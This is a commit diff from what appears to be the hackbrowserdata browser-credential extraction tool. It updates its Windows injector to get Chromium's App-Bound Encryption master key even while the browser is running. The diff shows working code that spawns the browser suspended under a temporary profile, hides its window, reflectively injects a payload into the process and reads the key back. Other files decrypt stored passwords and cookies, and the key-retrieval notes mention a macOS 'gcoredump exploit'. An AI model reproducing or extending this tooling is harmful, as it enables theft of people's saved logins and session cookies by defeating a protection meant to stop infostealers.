Skip to content

Commit e50c623

Browse files
authored
fix: retrieve correct ABE master key when browser is running (#577)
* fix(windows): retrieve correct ABE master key when browser is running
1 parent ae1ec66 commit e50c623

7 files changed

Lines changed: 105 additions & 57 deletions

File tree

CLAUDE.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,7 @@ make payload-clean # rm crypto/*.bin
6363
- **Error handling**: `fmt.Errorf("context: %w", err)` for wrapping, never `_ =` to ignore errors
6464
- **Logging**: `log.Debugf` for record-level diagnostics, `log.Infof` for user-facing progress/status, `log.Warnf` for unexpected conditions. Extract methods should return errors, not log them.
6565
- **Naming**: follow Go conventions — `Config` not `BrowserConfig`, `Extract` not `BrowsingData`
66+
- **Comment width**: wrap comments at 120 columns (matches `.golangci.yml` `lll.line-length`)
6667
- **Tests**: use `t.TempDir()` for filesystem tests, `go-sqlmock` for database tests
6768
- **Architecture**: see `rfcs/` for design documents
6869

browser/chromium/decrypt.go

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,8 @@ import (
66
"github.com/moond4rk/hackbrowserdata/crypto"
77
)
88

9-
// decryptValue decrypts a Chromium-encrypted value using the master key.
10-
// It detects the cipher version from the ciphertext prefix and routes
11-
// to the appropriate decryption function.
9+
// decryptValue decrypts a Chromium-encrypted value using the master key. It detects the cipher version
10+
// from the ciphertext prefix and routes to the appropriate decryption function.
1211
func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
1312
if len(ciphertext) == 0 {
1413
return nil, nil
@@ -20,8 +19,8 @@ func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
2019
// v11 is Linux-only and shares v10's AES-CBC path; only the key source differs.
2120
return crypto.DecryptChromium(masterKey, ciphertext)
2221
case crypto.CipherV20:
23-
// v20 is cross-platform AES-GCM; routed through a dedicated function so
24-
// Linux/macOS CI can exercise the same decryption path as Windows.
22+
// v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can
23+
// exercise the same decryption path as Windows.
2524
return crypto.DecryptChromiumV20(masterKey, ciphertext)
2625
case crypto.CipherDPAPI:
2726
return crypto.DecryptDPAPI(ciphertext)

browser/chromium/extract_cookie.go

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error)
5959
return nil, err
6060
}
6161
if decryptFails > 0 {
62-
log.Debugf("decrypt cookies: %d failed: %v", decryptFails, lastErr)
62+
log.Warnf("cookies: total=%d decrypt_failed=%d last_err=%v", len(cookies), decryptFails, lastErr)
6363
}
6464

6565
sort.Slice(cookies, func(i, j int) bool {
@@ -72,11 +72,10 @@ func countCookies(path string) (int, error) {
7272
return sqliteutil.CountRows(path, false, countCookieQuery)
7373
}
7474

75-
// stripCookieHash removes the SHA256(host_key) prefix from a decrypted cookie value.
76-
// Chrome 130+ (Cookie DB schema version 24) prepends SHA256(domain) to the cookie
77-
// value before encryption to prevent cross-domain cookie replay attacks.
78-
// If the first 32 bytes don't match SHA256(hostKey), the value is returned unchanged,
79-
// which handles both older Chrome versions and tampered data.
75+
// stripCookieHash removes the SHA256(host_key) prefix from a decrypted cookie value. Chrome 130+
76+
// (Cookie DB schema version 24) prepends SHA256(domain) to the cookie value before encryption to
77+
// prevent cross-domain cookie replay attacks. If the first 32 bytes don't match SHA256(hostKey), the
78+
// value is returned unchanged, which handles both older Chrome versions and tampered data.
8079
func stripCookieHash(value []byte, hostKey string) []byte {
8180
if len(value) < sha256.Size {
8281
return value

browser/chromium/extract_password.go

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
4545
return nil, err
4646
}
4747
if decryptFails > 0 {
48-
log.Debugf("decrypt passwords: %d failed: %v", decryptFails, lastErr)
48+
log.Warnf("passwords: total=%d decrypt_failed=%d last_err=%v", len(logins), decryptFails, lastErr)
4949
}
5050

5151
sort.Slice(logins, func(i, j int) bool {
@@ -54,8 +54,8 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
5454
return logins, nil
5555
}
5656

57-
// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data,
58-
// which stores the URL in action_url instead of origin_url.
57+
// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, which stores the URL in
58+
// action_url instead of origin_url.
5959
func extractYandexPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) {
6060
const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins`
6161
return extractPasswordsWithQuery(masterKey, path, yandexLoginQuery)

crypto/keyretriever/abe_windows.go

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,12 +26,19 @@ var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key")
2626
type ABERetriever struct{}
2727

2828
func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
29+
// Non-ABE Chromium forks (Opera/Vivaldi/Yandex/...) call this with an empty storage key; pre-v20
30+
// Chrome profiles have no app_bound_encrypted_key in Local State. Both are "ABE not applicable" —
31+
// return (nil, nil) so ChainRetriever falls through to DPAPI silently instead of emitting a Warnf
32+
// for every non-ABE browser.
2933
browserKey := strings.TrimSpace(storage)
3034
if browserKey == "" {
31-
return nil, fmt.Errorf("abe: empty browser key in storage parameter")
35+
return nil, nil
3236
}
3337

3438
encKey, err := loadEncryptedKey(localStatePath)
39+
if errors.Is(err, errNoABEKey) {
40+
return nil, nil
41+
}
3542
if err != nil {
3643
return nil, err
3744
}

crypto/keyretriever/keyretriever.go

Lines changed: 17 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,35 +1,36 @@
1-
// Package keyretriever owns the master-key acquisition chain shared by all
2-
// Chromium variants (Chrome, Edge, Brave, Arc, Opera, Vivaldi, Yandex, …).
3-
// The chain is built once per process and reused for every profile.
1+
// Package keyretriever owns the master-key acquisition chain shared by all Chromium variants (Chrome,
2+
// Edge, Brave, Arc, Opera, Vivaldi, Yandex, …). The chain is built once per process and reused for
3+
// every profile.
44
//
5-
// Firefox and Safari do not route through this package — Firefox derives
6-
// its own keys from key4.db via NSS PBE, and Safari reads InternetPassword
7-
// records directly from login.keychain-db. Each browser package owns its
8-
// own credential-acquisition strategy; see rfcs/006-key-retrieval-mechanisms.md
9-
// §7 for the rationale.
5+
// Firefox and Safari do not route through this package — Firefox derives its own keys from key4.db via
6+
// NSS PBE, and Safari reads InternetPassword records directly from login.keychain-db. Each browser
7+
// package owns its own credential-acquisition strategy; see rfcs/006-key-retrieval-mechanisms.md §7 for
8+
// the rationale.
109
package keyretriever
1110

1211
import (
1312
"errors"
1413
"fmt"
14+
15+
"github.com/moond4rk/hackbrowserdata/log"
1516
)
1617

17-
// errStorageNotFound is returned when the requested browser storage
18-
// account is not found in the credential store (keychain, keyring, etc.).
19-
// Only used on darwin and linux; Windows uses DPAPI which has no storage lookup.
18+
// errStorageNotFound is returned when the requested browser storage account is not found in the
19+
// credential store (keychain, keyring, etc.). Only used on darwin and linux; Windows uses DPAPI which
20+
// has no storage lookup.
2021
var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux
2122

22-
// KeyRetriever retrieves the master encryption key for a Chromium-based browser.
23-
// Each platform has different implementations:
23+
// KeyRetriever retrieves the master encryption key for a Chromium-based browser. Each platform has
24+
// different implementations:
2425
// - macOS: Keychain access (security command) or gcoredump exploit
2526
// - Windows: DPAPI decryption of Local State file
2627
// - Linux: D-Bus Secret Service or fallback to "peanuts" password
2728
type KeyRetriever interface {
2829
RetrieveKey(storage, localStatePath string) ([]byte, error)
2930
}
3031

31-
// ChainRetriever tries multiple retrievers in order, returning the first success.
32-
// Used on macOS (gcoredump → password → security) and Linux (D-Bus → peanuts).
32+
// ChainRetriever tries multiple retrievers in order, returning the first success. Used on macOS
33+
// (gcoredump → password → security) and Linux (D-Bus → peanuts).
3334
type ChainRetriever struct {
3435
retrievers []KeyRetriever
3536
}
@@ -47,6 +48,7 @@ func (c *ChainRetriever) RetrieveKey(storage, localStatePath string) ([]byte, er
4748
return key, nil
4849
}
4950
if err != nil {
51+
log.Warnf("keyretriever %T failed: %v", r, err)
5052
errs = append(errs, fmt.Errorf("%T: %w", r, err))
5153
}
5254
}

utils/injector/reflective_windows.go

Lines changed: 67 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -47,10 +47,11 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
4747
restore := setEnvTemporarily(env)
4848
defer restore()
4949

50-
pi, err := spawnSuspended(exePath)
50+
pi, udd, err := spawnSuspended(exePath)
5151
if err != nil {
5252
return nil, err
5353
}
54+
defer os.RemoveAll(udd)
5455
defer windows.CloseHandle(pi.Process)
5556
defer windows.CloseHandle(pi.Thread)
5657

@@ -67,9 +68,9 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
6768
return nil, err
6869
}
6970

70-
// Resume briefly so ntdll loader init completes before we hijack a thread;
71-
// Bootstrap itself is self-contained but the later elevation_service COM
72-
// call inside the payload relies on a fully-initialized PEB.
71+
// Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is
72+
// self-contained but the later elevation_service COM call inside the payload relies on a
73+
// fully-initialized PEB.
7374
_, _ = windows.ResumeThread(pi.Thread)
7475
time.Sleep(500 * time.Millisecond)
7576

@@ -97,9 +98,8 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
9798
return result.Key, nil
9899
}
99100

100-
// scratchResult is the structured view of the 12-byte diagnostic header
101-
// (marker..com_err) plus the optional 32-byte master key the payload
102-
// publishes back into the remote process's scratch region.
101+
// scratchResult is the structured view of the 12-byte diagnostic header (marker..com_err) plus the
102+
// optional 32-byte master key the payload publishes back into the remote process's scratch region.
103103
type scratchResult struct {
104104
Marker byte
105105
Status byte
@@ -131,22 +131,64 @@ func validateAndLocateLoader(payload []byte) (uint32, error) {
131131
return off, nil
132132
}
133133

134-
func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
134+
// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process.
135+
// Two upstream Chromium switches:
136+
// - --user-data-dir=<temp>: escape the running browser's ProcessSingleton mutex so the suspended
137+
// child survives past main() long enough for the remote Bootstrap thread to complete (issue #576).
138+
// - --no-startup-window: suppress the brief UI splash that Edge/Brave/CocCoc paint despite
139+
// STARTF_USESHOWWINDOW+SW_HIDE (which Chrome honors but brand-forked startup code often ignores).
140+
//
141+
// Adding other flags (--disable-extensions, --disable-gpu, ...) has destabilized Brave in the past
142+
// (payload dies inside DllMain with marker=0x0b); both switches here are upstream-official and safe.
143+
func buildIsolatedCommandLine(exePath, udd string) string {
144+
// %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
145+
// as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
146+
//nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
147+
return fmt.Sprintf(`"%s" --user-data-dir="%s" --no-startup-window`, exePath, udd)
148+
}
149+
150+
// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
151+
// passed so the spawned chrome.exe does not collide with any already-running Chrome instance's
152+
// ProcessSingleton (which would call ExitProcess as soon as main() runs, killing our remote Bootstrap
153+
// thread before it can publish the master key). The temp UDD is returned so the caller can remove it
154+
// after injection.
155+
func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error) {
156+
udd, err := os.MkdirTemp("", "hbd-inj-udd-*")
157+
if err != nil {
158+
return nil, "", fmt.Errorf("injector: make temp user-data-dir: %w", err)
159+
}
160+
161+
cmdLine := buildIsolatedCommandLine(exePath, udd)
162+
cmdPtr, err := syscall.UTF16PtrFromString(cmdLine)
163+
if err != nil {
164+
_ = os.RemoveAll(udd)
165+
return nil, "", fmt.Errorf("injector: command line: %w", err)
166+
}
135167
exePtr, err := syscall.UTF16PtrFromString(exePath)
136168
if err != nil {
137-
return nil, fmt.Errorf("injector: exe path: %w", err)
169+
_ = os.RemoveAll(udd)
170+
return nil, "", fmt.Errorf("injector: exe path: %w", err)
171+
}
172+
// STARTF_USESHOWWINDOW + SW_HIDE asks the child to honor our ShowWindow value on its first
173+
// CreateWindow/ShowWindow call — a standard way to suppress the brief Chrome splash window that
174+
// otherwise flashes because the UDD bypass makes the injected process proceed to the "I am the
175+
// primary instance" branch and start painting UI before we TerminateProcess it.
176+
si := &windows.StartupInfo{
177+
Flags: windows.STARTF_USESHOWWINDOW,
178+
ShowWindow: windows.SW_HIDE,
138179
}
139-
si := &windows.StartupInfo{}
140180
pi := &windows.ProcessInformation{}
141-
if err := windows.CreateProcess(
142-
exePtr, nil, nil, nil,
181+
err = windows.CreateProcess(
182+
exePtr, cmdPtr, nil, nil,
143183
false,
144184
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
145185
nil, nil, si, pi,
146-
); err != nil {
147-
return nil, fmt.Errorf("injector: CreateProcess: %w", err)
186+
)
187+
if err != nil {
188+
_ = os.RemoveAll(udd)
189+
return nil, "", fmt.Errorf("injector: CreateProcess: %w", err)
148190
}
149-
return pi, nil
191+
return pi, udd, nil
150192
}
151193

152194
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
@@ -191,13 +233,12 @@ func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait
191233
}
192234
}
193235

194-
// readScratch pulls the payload's diagnostic header and (on success) the
195-
// master key out of the target process's scratch region. A non-nil error
196-
// means our own ReadProcessMemory call failed (distinct from the payload
197-
// reporting a structured failure via result.Status/ErrCode/HResult).
236+
// readScratch pulls the payload's diagnostic header and (on success) the master key out of the target
237+
// process's scratch region. A non-nil error means our own ReadProcessMemory call failed (distinct from
238+
// the payload reporting a structured failure via result.Status/ErrCode/HResult).
198239
func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) {
199-
// hdr covers offsets 0x28..0x33: marker, status, extract_err_code,
200-
// _reserved, hresult (LE u32), com_err (LE u32).
240+
// hdr covers offsets 0x28..0x33: marker, status, extract_err_code, _reserved, hresult (LE u32),
241+
// com_err (LE u32).
201242
var hdr [12]byte
202243
var n uintptr
203244
if err := windows.ReadProcessMemory(proc,
@@ -232,10 +273,9 @@ func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error)
232273
return result, nil
233274
}
234275

235-
// patchPreresolvedImports writes five pre-resolved Win32 function pointers
236-
// into the payload's DOS stub so Bootstrap skips PEB.Ldr traversal entirely.
237-
// Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll
238-
// share the same virtual address across processes in one boot session).
276+
// patchPreresolvedImports writes five pre-resolved Win32 function pointers into the payload's DOS stub
277+
// so Bootstrap skips PEB.Ldr traversal entirely. Validity relies on KnownDlls + session-consistent
278+
// ASLR (kernel32 and ntdll share the same virtual address across processes in one boot session).
239279
func patchPreresolvedImports(payload []byte) ([]byte, error) {
240280
if len(payload) < bootstrap.ImpNtFlushICOffset+8 {
241281
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
@@ -267,8 +307,8 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) {
267307
return patched, nil
268308
}
269309

270-
// setEnvTemporarily mutates the current process's env; NOT concurrency-safe.
271-
// Callers must serialize Inject calls.
310+
// setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize
311+
// Inject calls.
272312
func setEnvTemporarily(env map[string]string) func() {
273313
if len(env) == 0 {
274314
return func() {}

0 commit comments

Comments
 (0)